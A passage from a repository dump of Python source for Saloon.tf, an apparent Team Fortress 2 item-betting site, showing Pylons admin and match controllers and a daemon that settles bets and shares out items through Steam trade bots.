matchLink=request.params[\"matchLink\"], vodLink=request.params[\"vodLink\"])\n Session.add(RWriteup)\n\n Session.commit()\n success = True\n message = \"Changed selected match.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't edit this match.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def removeMatch(self, leagueID, matchID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bets:\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch:\n RMatch.status = 5\n Session.commit()\n success = True\n message = \"Removed selected match.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't remove this match.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def users(self):\n # Returns rendered template\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].users:\n c.current = \"manage\"\n c.managePage = \"users\"\n c.user = RUser.to_dict()\n return render('/manage/users/index.mako')\n return redirect(\"https://saloon.tf/manage/\")\n\n def user(self, userID):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].users:\n ROtherUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n if ROtherUser:\n c.current = \"manage\"\n c.managePage = \"users\"\n c.user = RUser.to_dict()\n c.otherUser = ROtherUser.to_dict()\n c.ranks = {}\n if RUser.Permissions[0].permissions:\n RUsersRanks = Session.query(db.UsersRanks).all()\n for RUsersRank in RUsersRanks:\n c.ranks[RUsersRank.id] = RUsersRank.name\n\n c.teams = []\n if ROtherUser.teams:\n RTeams = Session.query(db.Teams).filter(db.Teams.id.in_(ROtherUser.teams)).all()\n for RTeam in RTeams:\n c.teams.append(RTeam.to_dict())\n\n return render('/manage/users/user.mako')\n return redirect(\"https://saloon.tf/manage/users/\") \n return redirect(\"https://saloon.tf/manage/\")\n\n def editUser(self, userID):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].users:\n ROtherUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n if ROtherUser: \n if int(request.POST[\"steamid\"]) != ROtherUser.steamID:\n url = \"http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%s&steamids=%d\" % (config[\"steamapi\"], int(request.POST[\"steamid\"]))\n data = json.loads(requests.get(url).text)[u\"response\"][u\"players\"][0]\n ROtherUser.avatar = data[u\"avatarfull\"][67:-9] + \"_full.jpg\"\n ROtherUser.name = data[u\"personaname\"]\n ROtherUser.steamID = request.POST[\"steamid\"]\n \n if RUser.Permissions[0].permissions: \n for permission in [\"manage\", \"leagues\", \"teams\", \"users\", \"bets\", \"bots\", \"economy\", \"scores\"]:\n if permission not in request.POST.getall(\"permissions\"):\n setattr(ROtherUser.Permissions[0], permission, False)\n else:\n setattr(ROtherUser.Permissions[0], permission, True)\n ROtherUser.rank = int(request.POST[\"rank\"])\n\n teams = []\n for team in request.POST.getall(\"team\"):\n teams.append(int(team))\n ROtherUser.teams = teams\n Session.commit()\n success = True\n message = \"Changed selected user.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't edit this user.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def bots(self):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bots:\n c.current = \"manage\"\n c.managePage = \"bots\"\n c.user = RUser.to_dict()\n c.bots = []\n RBots = Session.query(db.Bots).order_by(db.Bots.id).all()\n\n for RBot in RBots:\n bot = RBot.to_dict()\n bot[\"json\"] = json.dumps(bot)\n c.bots.append(bot)\n\n return render('/manage/bots.mako')\n else:\n return redirect(\"https://saloon.tf/manage/\")\n else: \n return redirect(\"https://saloon.tf/\")\n\n def addBot(self):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bots:\n match = re.match(r\"http:\\/\\/steamcommunity\\.com\\/tradeoffer\\/new\\/\\?partner=[0-9]+&token=([a-zA-Z0-9\\-]+)\", request.params[\"tradeoffers\"])\n if match:\n RBot = db.Bots(name=request.params[\"name\"], emailAddress=request.params[\"emailAddress\"], emailPassword=request.params[\"emailPassword\"], steamLogin=request.params[\"steamLogin\"], steamPassword=request.params[\"steamPassword\"], steamID=request.params[\"steamID\"], steamAPI=request.params[\"steamAPI\"], backpackAPI=request.params[\"backpackAPI\"], slots=request.params[\"slots\"], slotsEmpty=request.params[\"slots\"], token=match.group(1))\n Session.add(RBot)\n Session.flush()\n RBotItems = db.BotsItems(bot=RBot.id)\n RBotLeftoverItems = db.BotsLeftoverItems(bot=RBot.id)\n Session.add(RBotItems)\n Session.add(RBotLeftoverItems)\n Session.commit()\n return redirect(\"https://saloon.tf/manage/bots/\")\n return redirect(\"https://saloon.tf/manage/\")\n return redirect(\"https://saloon.tf/\")\n\n def editBot(self, botID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bots:\n RBot = Session.query(db.Bots).filter(db.Bots.id == botID).first()\n if RBot:\n RBot.name = request.params[\"name\"]\n RBot.emailAddress = request.params[\"emailAddress\"]\n if request.params[\"emailPassword\"]:\n RBot.emailPassword = request.params[\"emailPassword\"]\n RBot.steamLogin = request.params[\"steamLogin\"]\n if request.params[\"steamPassword\"]:\n RBot.steamPassword = request.params[\"steamPassword\"]\n RBot.steamID = request.params[\"steamID\"]\n RBot.steamAPI = request.params[\"steamAPI\"]\n match = re.match(r\"http:\\/\\/steamcommunity\\.com\\/tradeoffer\\/new\\/\\?partner=[0-9]+&token=([a-zA-Z0-9\\-]+)\", request.params[\"tradeoffers\"])\n if match:\n RBot.token = match.group(1)\n RBot.slotsEmpty += int(request.params[\"slots\"]) - RBot.slots\n RBot.slots = int(request.params[\"slots\"])\n Session.commit()\n success = True\n message = \"Changed selected bot.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't edit this bot.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def offersReceived(self, botID):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].economy:\n c.current = \"manage\"\n c.managePage = \"bots\"\n c.user = RUser.to_dict()\n RBot = Session.query(db.Bots).filter(db.Bots.id == botID).first()\n if RBot:\n c.bot = RBot.to_dict()\n c.offers = API(RBot.steamAPI, RBot.steamID).GetOffers(\"received\", False, True, False, True)\n for offer in c.offers.values():\n RUser = Session.query(db.Users).filter(db.Users.steamID == int(offer.Partner.steamID)).first()\n offer.user = False\n if RUser:\n offer.user = RUser.to_dict()\n return render(\"/manage/offers/received.mako\")\n return render(\"/manage/bots/\")\n\n def newOffer(self, botID, userID):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].economy:\n c.current = \"manage\"\n c.managePage = \"bots\"\n c.user = RUser.to_dict()\n\n RBot = Session.query(db.Bots).filter(db.Bots.id == botID).first()\n ROtherUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n if RBot and ROtherUser:\n botAPI = API(RBot.steamAPI, RBot.steamID)\n c.bot = RBot.to_dict()\n c.botItems = botAPI.Friend(RBot.steamID).sortedInventory()\n c.botItemsCount = 0\n for itemsGroup in c.botItems:\n for item in itemsGroup[\"items\"].values():\n c.botItemsCount += 1\n c.botPages = int(math.ceil(c.botItemsCount / 24.0))\n\n c.otherUser = ROtherUser.to_dict()\n inventory = botAPI.Friend(ROtherUser.steamID).inventory()\n c.otherUserItems = botAPI.Friend(ROtherUser.steamID).sortedInventory()\n c.otherUserItemsCount = 0\n for itemsGroup in c.botItems:\n for item in itemsGroup[\"items\"].values():\n c.otherUserItemsCount += 1\n c.otherUserPages = int(math.ceil(c.botItemsCount / 24.0))\n\n return render(\"/manage/offers/new.mako\")\n return render(\"/manage/bots/\")\n\n def tickets(self):\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n if RUser.Permissions[0].bets:\n c.current = \"manage\"\n c.managePage = \"tickets\"\n c.user = RUser.to_dict()\n c.tickets = []\n\n RTickets = Session.query(db.Tickets).filter(db.Tickets.open == True).order_by(db.Tickets.id.desc()).all()\n for RTicket in RTickets:\n ticket = RTicket.to_dict()\n ticket[\"categoryName\"] = RTicket.categoryName()\n \n params = {}\n params[\"view\"] = \"cm\"\n params[\"ui\"] = 2\n params[\"tf\"] = 0\n params[\"fs\"] = 1\n params[\"to\"] = ticket[\"email\"]\n params[\"su\"] = \"Saloon.tf_staging %s #%d - %s\" % (ticket[\"categoryName\"], ticket[\"id\"], ticket[\"title\"])\n params[\"body\"] = \"\\nBest regards, %s\\n\\nQuoted:\\n\" % (RUser.name)\n for line in ticket[\"text\"].splitlines():\n params[\"body\"] += \"> %s\\n\" % (line)\n ticket[\"url\"] = \"https://mail.google.com/mail/u/0/?\" + urllib.urlencode(params)\n\n c.tickets.append(ticket)\n return render(\"/manage/tickets.mako\")\n return redirect(\"https://saloon.tf/manage/\")\n\n def closeTicket(self, ticketID):\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n if RUser.Permissions[0].bets:\n RTicket = Session.query(db.Tickets).filter(db.Tickets.id == ticketID).first()\n RTicket.open = False\n Session.commit()\n return redirect(\"https://saloon.tf/manage/tickets/\")\n return redirect(\"https://saloon.tf/manage/\")\n" }, { "alpha_fraction": 0.6186299324035645, "alphanum_fraction": 0.6265664100646973, "avg_line_length": 37.934959411621094, "blob_id": "b49511d88eefb918a2d3184dba835a93c9171fbf", "content_id": "18f591c3b1322c5911a8fa7d1db094c85bfc318d", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4788, "license_type": "no_license", "max_line_length": 197, "num_lines": 123, "path": "/Website/website/controllers/match.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, datetime, simplejson as json\n\nfrom sqlalchemy.sql.expression import tuple_\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\nfrom collections import defaultdict, Counter, OrderedDict\nfrom natural import date as naturalDate\nfrom sqlalchemy import and_, sql\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass MatchController(BaseController):\n\n def index(self, matchID):\n # Return a rendered template\n c.current = \"match\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n RMatch, RWriteup = Session.query(db.Matches, db.Writeups).join(db.Writeups).filter(db.Matches.id == matchID).first()\n c.match = RMatch.to_dict(show=[\"matches.Team1\", \"matches.Team2\"])\n c.match[\"Team1\"].update(RMatch.team1Score())\n c.match[\"Team2\"].update(RMatch.team2Score())\n c.match[\"naturalTime\"] = RMatch.naturalTime()\n c.match[\"json\"] = json.dumps(c.match, default = lambda obj: obj.isoformat() if isinstance(obj, datetime.datetime) else None)\n c.match[\"Team1\"][\"json\"] = json.dumps(c.match[\"Team1\"])\n c.match[\"Team2\"][\"json\"] = json.dumps(c.match[\"Team2\"])\n\n c.offers = []\n c.offer = False\n c.bet = False\n if c.user:\n # ROffers = Session.query(db.Offers).filter(and_(db.Offers.user == RUser.id, db.Offers.match == matchID, db.Offers.offerID > 0, db.Offers.hidden == False)).order_by(db.Offers.id.desc()).all()\n # for ROffer in ROffers:\n # if ROffer.status == 2:\n # c.offer = ROffer.team\n # offer = ROffer.to_dict()\n # offer[\"typeText\"] = ROffer.typeText()\n # offer[\"statusText\"] = ROffer.statusText()\n # c.offers.append(offer)\n\n c.bet = {\n \"team\": None,\n \"own\": False,\n \"limit\": RUser.Rank.slots\n }\n\n RBet = Session.query(db.Bets).filter(and_(db.Bets.user == RUser.id, db.Bets.match == RMatch.id)).first()\n if RBet:\n c.bet = RBet.to_dict()\n if RBet.team == RMatch.team1:\n c.bet[\"Team\"] = c.match[\"Team1\"]\n else:\n c.bet[\"Team\"] = c.match[\"Team2\"]\n c.bet[\"User\"] = c.user\n c.bet[\"own\"] = True\n\n RItemsBet = Session.query(db.ItemsInstances, db.ItemsBet) \\\n .distinct(db.ItemsInstances.originID) \\\n .filter(db.ItemsBet.bet == RBet.id, db.ItemsBet.itemInstance == db.ItemsInstances.id) \\\n .all()\n\n RItemsBet = sorted(RItemsBet, key = lambda x: (x[1].origin * -1, x[0].Item.type, x[0].Item.quality, x[0].Item.value * -1))\n\n c.bet[\"items\"] = []\n c.bet[\"limit\"] = RUser.Rank.slots\n for RItemInstance, RItemBet in RItemsBet:\n if RItemBet.bet != RBet.id:\n continue\n\n item = RItemInstance.to_dict(show=[\"itemsinstances.Item\"])\n item[\"origin\"] = RItemBet.origin\n c.bet[\"items\"].append(item)\n c.bet[\"limit\"] -= 1\n\n c.writeup = False\n if RWriteup.text:\n c.writeup = RWriteup.to_dict()\n\n return render('/match.mako')\n\n def switch(self, matchID):\n # Return redirect(\"https://saloon.tf/match/' + matchID + '/\")\n if \"steamid\" not in session:\n return redirect(request.environ[\"HTTP_REFERER\"])\n\n if request.environ[\"HTTP_REFERER\"] not in [\"https://saloon.tf/home\", \"https://saloon.tf/match/%s/\" % matchID]:\n return redirect(request.environ[\"HTTP_REFERER\"])\n\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if not RUser:\n return redirect(request.environ[\"HTTP_REFERER\"])\n\n RBet = Session.query(db.Bets).filter(and_(db.Bets.match == matchID, db.Bets.user == RUser.id)).first()\n if RBet:\n if not (RBet.Match.team1 in RUser.teams or RBet.Match.team2 in RUser.teams) and RBet.Match.status == 0:\n if RBet.team == RBet.Match.team1:\n RBetsTotal1 = RBet.Match.BetsTotal1\n RBetsTotal2 = RBet.Match.BetsTotal2\n RBet.team = RBet.Match.team2\n else:\n RBetsTotal1 = RBet.Match.BetsTotal2\n RBetsTotal2 = RBet.Match.BetsTotal1\n RBet.team = RBet.Match.team1\n\n RBetsTotal1.value -= RBet.value\n RBetsTotal2.value += RBet.value\n\n ROffers = Session.query(db.Offers).filter(and_(db.Offers.match == matchID, db.Offers.user == RBet.user)).all()\n for ROffer in ROffers:\n ROffer.team = RBet.team\n\n RItemsBet = Session.query(db.ItemsBet).filter(db.ItemsBet.bet == RBet.id).all()\n for RItemBet in RItemsBet:\n RItemBet.team = RBet.team\n\n Session.commit()\n return redirect(\"https://saloon.tf/match/\" + matchID + \"/\")" }, { "alpha_fraction": 0.6156867146492004, "alphanum_fraction": 0.6205031275749207, "avg_line_length": 42.60581588745117, "blob_id": "59b066de6ca29b97c4e0c72228aac0ff90a14be3", "content_id": "587a193656c1eb37203d1ccf4b5a1d39aac69bd8", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26991, "license_type": "no_license", "max_line_length": 265, "num_lines": 619, "path": "/Daemon/ScoresHandler.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import requests\nimport json, datetime, random\nfrom sqlalchemy import and_\nfrom collections import defaultdict, OrderedDict, Counter\nfrom advancedCollections import OrderedDefaultDict\nimport database as db\n\nclass Handler(object):\n def __init__(self, Communicate, Schema, Local, EventsHandler, SteamHandlers):\n self.Communicate = Communicate\n self.Schema = Schema\n self.EventsHandler = EventsHandler\n self.Local = Local\n self.SteamHandlers = SteamHandlers\n self.SteamHandler = self.SteamHandlers.values()[0]\n self.locked = False\n\n def human(self, listener, matchID, status, points1, points2):\n # Check permissions\n with db.SessionScope() as Session:\n UUID = self.Communicate.getUUID(listener)\n if UUID:\n userID = self.Local.userIDs[UUID]\n RUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n if not RUser.Permissions[0].scores:\n listener.sendMessage(json.dumps([\"auth\", False]))\n return False\n else:\n listener.sendMessage(json.dumps([\"auth\", False]))\n return False\n\n if self.locked:\n listener.sendMessage(json.dumps([\"scores\", \"concurrent\"]))\n return False\n \n self.locked = True\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch.status not in [3,4,5]:\n if status != 0:\n ROffers = Session.query(db.Offers).filter(and_(db.Offers.match == matchID, db.Offers.status == 2)).all()\n for ROffer in ROffers:\n mainHandler = self.SteamHandlers[ROffer.bot]\n mainPartner = mainHandler.Bot.Community().Friend(ROffer.User.steamID)\n mainHandler.Bot.Trade().Offer(ROffer.offerID, mainPartner).cancel()\n \n if status == 0 and RMatch.status != 0:\n RMatch.time = None\n elif status == 1 and RMatch.status != 1:\n RMatch.time = datetime.datetime.now()\n RMatch.endtime = None\n self.EventsHandler.startMatch(RMatch.id)\n elif status in [2,3,5]:\n if not RMatch.time:\n RMatch.time = datetime.datetime.now()\n if not RMatch.endtime or status == 2:\n RMatch.endtime = datetime.datetime.now()\n self.EventsHandler.endMatch(RMatch.id)\n Session.add(RMatch)\n if status in [3,5]:\n if status == 3:\n advantage = points1 - points2\n\n if advantage == RMatch.advantage / 2.0:\n winnerID = False\n elif advantage < RMatch.advantage / 2.0:\n winnerID = RMatch.team1\n elif advantage > RMatch.advantage / 2.0:\n winnerID = RMatch.team2\n elif status == 5:\n winnerID = False\n\n Score = self.Score(self, listener, matchID, winnerID)\n if not Score.success:\n status = 2\n\n Session.add(RMatch)\n RMatch.status = status\n RMatch.points1 = points1\n RMatch.points2 = points2\n requests.get(\"http://localhost:81/api/refreshSession/\")\n listener.sendMessage(json.dumps([\"scores\", \"updated\"]))\n self.locked = False\n return True\n\n class Score(object):\n def __init__(self, ScoresHandler, listener, matchID, winnerID):\n self.listener = listener\n self.ScoresHandler = ScoresHandler\n self.EventsHandler = self.ScoresHandler.EventsHandler\n self.SteamHandlers = self.ScoresHandler.Handlers\n self.SteamHandler = self.ScoresHandler.Handler\n self.Communicate = ScoresHandler.Communicate\n\n self.Session = db.Session()\n self.Session = db.Session()\n self.winnerID = winnerID\n self.RMatch = self.Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n self.RBots = self.Session.query(db.Bots).all()\n self.RBots = dict(zip([RBot.id for RBot in self.RBots], self.RBots))\n\n self.itemsBots = {}\n for botID, Handler in self.SteamHandlers.items():\n inventory, slots = Handler.botInventory()\n for items in inventory.values():\n for item in items.values():\n self.itemsBots[item[\"originID\"]] = botID\n\n RItemsBet = self.Session.query(db.ItemsBet).filter(db.ItemsBet.match == self.RMatch.id).all()\n self.RChargebackedItems = []\n\n for RItemBet in RItemsBet:\n if RItemBet.ItemInstance.originID in self.itemsBots:\n RItemBet.ItemInstance.bot = self.itemsBots[RItemBet.ItemInstance.originID]\n else:\n RItemBet.ItemInstance.existing = False\n RItemInstance = db.ItemsInstances(originID = RItemBet.ItemInstance.originID, item = RItemBet.ItemInstance.item, bot = RItemBet.ItemInstance.bot, user = RItemBet.ItemInstance.user, status = 8, existing = False)\n self.Session.add(RItemInstance)\n self.Session.flush()\n RItemBet.itemInstance = RItemInstance.id\n self.RChargebackedItems.append(RItemBet)\n\n self.RLostItems = [RItemBet for RItemBet in RItemsBet if RItemBet.team != self.winnerID and RItemBet.ItemInstance.existing]\n self.RLostItems = sorted(self.RLostItems, key = lambda RLostItem: RLostItem.ItemInstance.Item.value, reverse = True)\n self.RWinnersItems = [RItemBet for RItemBet in RItemsBet if RItemBet.team == self.winnerID and RItemBet.ItemInstance.existing]\n self.RWinnersItems = sorted(self.RWinnersItems, key = lambda RWinnerItem: RWinnerItem.ItemInstance.Item.value, reverse = True)\n self.RDisposableItems = self.Session.query(db.ItemsInstances).filter(and_(db.ItemsInstances.status == 7, db.ItemsInstances.existing == True)).all()\n\n if self.winnerID:\n self.RWonBets = self.Session.query(db.Bets).filter(and_(db.Bets.match == matchID, db.Bets.team == self.winnerID)).all()\n self.RLostBets = self.Session.query(db.Bets).filter(and_(db.Bets.match == matchID, db.Bets.team != self.winnerID)).all()\n if self.RMatch.team1 == self.winnerID:\n self.RWonBetsTotal = self.RMatch.BetsTotal1\n self.RLostBetsTotal = self.RMatch.BetsTotal2\n else:\n self.RLostBetsTotal = self.RMatch.BetsTotal1\n self.RWonBetsTotal = self.RMatch.BetsTotal2\n\n self.success = False\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Preparing data\")\n self.listener.sendMessage(json.dumps([\"scores\", \"data\"]))\n self.preprocessLoosers()\n self.preprocessWinners()\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Distributing items\")\n self.listener.sendMessage(json.dumps([\"scores\", \"items\"]))\n self.distributeItems()\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Preparing bots\")\n self.listener.sendMessage(json.dumps([\"scores\", \"bots\"]))\n if self.prepareBots():\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Updating database\")\n self.listener.sendMessage(json.dumps([\"scores\", \"database\"]))\n self.updateDatabase()\n self.Session.commit()\n self.success = True\n else:\n self.Session.rollback()\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Couldn't transfer items\")\n self.listener.sendMessage(json.dumps([\"scores\", \"failure\"]))\n else:\n self.drawBets = self.Session.query(db.Bets).filter(db.Bets.match == matchID).all()\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Preparing data\")\n self.listener.sendMessage(json.dumps([\"scores\", \"data\"]))\n self.preprocessDraw()\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Preparing bots\")\n self.listener.sendMessage(json.dumps([\"scores\", \"bots\"]))\n if self.prepareBotsDraw():\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Updating database\")\n self.listener.sendMessage(json.dumps([\"scores\", \"database\"]))\n self.RBets = self.Session.query(db.Bets).filter(db.Bets.match == matchID).all()\n self.updateDatabaseDraw()\n self.Session.commit()\n self.success = True\n else:\n self.Communicate.log(\"ScoresHandler.py\", \"#%s\" % (matchID), \"Couldn't transfer items\")\n self.listener.sendMessage(json.dumps([\"scores\", \"failure\"]))\n self.success = False\n\n self.Session.close()\n self.listener.sendMessage(json.dumps([\"scores\", \"done\"]))\n\n def preprocessLoosers(self):\n # Create a dictionary with additional items data\n self.loosersValue = sum([RLostItem.ItemInstance.Item.value for RLostItem in self.RLostItems])\n\n RBets = []\n betsItems = []\n for RBet in self.RLostBets:\n for RChargebackedItem in self.RChargebackedItems:\n if RChargebackedItem.bet == RBet.id:\n RBet.status = 3\n RUser = self.Session.query(db.Users).filter(db.Users.id == RBet.user).first()\n RUser.rank = -1\n RUser.rankReason = \"Possible fraud (#%d)\" % (RBet.id)\n break\n else:\n RBets.append(RBet)\n\n self.RLostBets = RBets\n\n def preprocessWinners(self):\n # Add additional items data to the dictionary\n # Count a total value of winners' items\n self.winnersValue = sum([RWinnerItem.ItemInstance.Item.value for RWinnerItem in self.RWinnersItems])\n\n RBets = []\n for RBet in self.RWonBets:\n for RChargebackedItem in self.RChargebackedItems:\n if RChargebackedItem.bet == RBet.id:\n RBet.status = 3\n RUser = self.Session.query(db.Users).filter(db.Users.id == RBet.user).first()\n RUser.rank = -1\n RUser.rankReason = \"Possible fraud (#%d)\" % (RBet.id)\n break\n else:\n RBets.append(RBet)\n\n self.RWonBets = RBets\n\n # Count relative values of wins and prepare data needed for later processing\n self.winnersCount = len(self.RWonBets)\n self.RWonItems = []\n self.desiredValues = []\n for RWonBet in self.RWonBets:\n RWonBet.status = 0\n RWonBet.value = 0\n for RWinnerItem in self.RWinnersItems:\n if RWinnerItem.bet == RWonBet.id:\n RWonBet.value = RWonBet.value + RWinnerItem.ItemInstance.Item.value\n\n desiredValue = int(round(float(RWonBet.value) / float(self.winnersValue) * 1.00 * self.loosersValue))\n self.desiredValues += [desiredValue]\n self.RWonItems += [[]]\n\n self.RWonBets = [x for y, x in sorted(zip(self.desiredValues, self.RWonBets), reverse = True)]\n self.desiredValues = sorted(self.desiredValues, reverse = True)\n\n def preprocessDraw(self):\n # Todo - eventually preprocess draws\n return None\n\n def distributeItems(self):\n # Iterate over loosers' items and give them to the player with biggest underflow (relative) and save leftovers in a list\n RFilteredItems = []\n for RDisposableItem in self.RDisposableItems:\n if RDisposableItem.originID in self.itemsBots:\n RDisposableItem.bot = self.itemsBots[RDisposableItem.originID]\n RFilteredItems.append(RDisposableItem)\n else:\n RDisposableItems.existing = False\n\n self.RAvailableItems = RFilteredItems\n self.RAvailableItems += [RLostItem.ItemInstance for RLostItem in self.RLostItems]\n self.RAvailableItems = sorted(self.RAvailableItems, key = lambda RAvailableItem: RAvailableItem.Item.value, reverse = True)\n \n for RAvailableItem in self.RAvailableItems:\n maxPlayerIndex = -1\n maxPlayerDifference = 2\n for playerIndex in range(self.winnersCount):\n if not float(self.desiredValues[playerIndex]):\n continue\n\n futureValue = self.RWonBets[playerIndex].wonValue + RAvailableItem.Item.value\n\n difference = float(futureValue) / float(self.desiredValues[playerIndex])\n linearDifference = self.desiredValues[playerIndex] - futureValue\n\n if linearDifference < 0:\n continue\n\n if difference < maxPlayerDifference:\n maxPlayerDifference = difference\n maxPlayerIndex = playerIndex\n\n if maxPlayerIndex != -1:\n RWonBet = self.RWonBets[maxPlayerIndex]\n RAvailableItem.existing = False\n\n RItemInstance = db.ItemsInstances(originID = RAvailableItem.originID, item = RAvailableItem.item, bot = RAvailableItem.bot, user = self.RWonBets[maxPlayerIndex].user, status = 3, existing = True, TTL = datetime.datetime.now() + datetime.timedelta(days=7))\n self.Session.add(RItemInstance)\n self.Session.flush()\n\n RItemBet = db.ItemsBet(itemInstance = RItemInstance.id, match = RWonBet.match, team = RWonBet.team, bet = RWonBet.id, origin = 1)\n self.Session.add(RItemBet)\n self.Session.flush()\n self.RWonItems[maxPlayerIndex].append(RItemBet)\n\n RWonBet.wonValue = RWonBet.wonValue + RAvailableItem.Item.value\n\n def prepareBots(self):\n slots = OrderedDict({})\n RBots = self.Session.query(db.Bots).order_by(db.Bots.slotsEmpty.desc()).all()\n for RBot in RBots:\n slots[RBot.id] = RBot.slotsEmpty\n\n # Find optimal bots for the players' items\n trades = OrderedDefaultDict(lambda: defaultdict(dict))\n self.playersBots = {}\n for playerIndex, RWonItems in enumerate(self.RWonItems):\n RWonBet = self.RWonBets[playerIndex]\n\n botsItems = defaultdict(list)\n for RWonItem in RWonItems:\n botsItems[RWonItem.ItemInstance.bot] += [RWonItem.ItemInstance.originID]\n for RWinnerItem in self.RWinnersItems:\n if RWinnerItem.bet == RWonBet.id:\n botsItems[RWinnerItem.ItemInstance.bot] += [RWinnerItem.ItemInstance.originID]\n\n # Iterate over bots to find the one with enough slots to fit all items\n while botsItems:\n tradesCopy = trades.copy()\n slotsCopy = OrderedDict()\n slotsCopy.update(slots)\n bestBot = max(botsItems, key=lambda x: len(botsItems[x]))\n itemsCounts = Counter({})\n itemsIDs = defaultdict(list)\n\n # Create dictionaries for other bots' items\n for RWonItem in RWonItems:\n if RWonItem.ItemInstance.bot != bestBot:\n itemsCounts[RWonItem.ItemInstance.bot] += 1\n itemsIDs[RWonItem.ItemInstance.bot] += [RWonItem.ItemInstance.originID]\n for RWinnerItem in self.RWinnersItems:\n if RWinnerItem.bet == RWonBet.id:\n if RWinnerItem.ItemInstance.bot != bestBot:\n itemsCounts[RWinnerItem.ItemInstance.bot] += 1\n itemsIDs[RWinnerItem.ItemInstance.bot] += [RWinnerItem.ItemInstance.originID]\n\n # Iterate over other bots' items to find the best tradeoffer to add them to\n for otherBot, itemsCount in itemsCounts.items():\n bestKey = \"%d_%d\" % (bestBot, otherBot)\n otherKey = \"%d_%d\" % (otherBot, bestBot)\n result = 0\n for botsKey, tradeCopy in tradesCopy.items():\n if bestKey in botsKey or otherKey in botsKey:\n result = 1\n if tradeCopy[bestBot][\"slots\"] >= itemsCount:\n result = 2\n break\n\n # Add a trade if possible otherwise mark this trial as failed\n if result == 1 or result == 0:\n if slotsCopy[bestBot] >= itemsCount:\n if result == 1:\n # Can it always fit? :O\n keyArray = botsKey.split(\"_\")\n botsKey = \"%d_%d_%d\" % (bestBot, otherBot, keyArray[2] + 1)\n else:\n botsKey = \"%d_%d_0\" % (bestBot, otherBot)\n tradesCopy[botsKey][bestBot][\"slots\"] = 0\n tradesCopy[botsKey][otherBot][\"slots\"] = 0\n tradesCopy[botsKey][bestBot][\"receive\"] = []\n tradesCopy[botsKey][otherBot][\"receive\"] = []\n else:\n del botsItems[bestBot]\n break\n slotsCopy[bestBot] -= itemsCounts[otherBot]\n slotsCopy[otherBot] += itemsCounts[otherBot]\n tradesCopy[botsKey][bestBot][\"slots\"] = slotsCopy[bestBot]\n 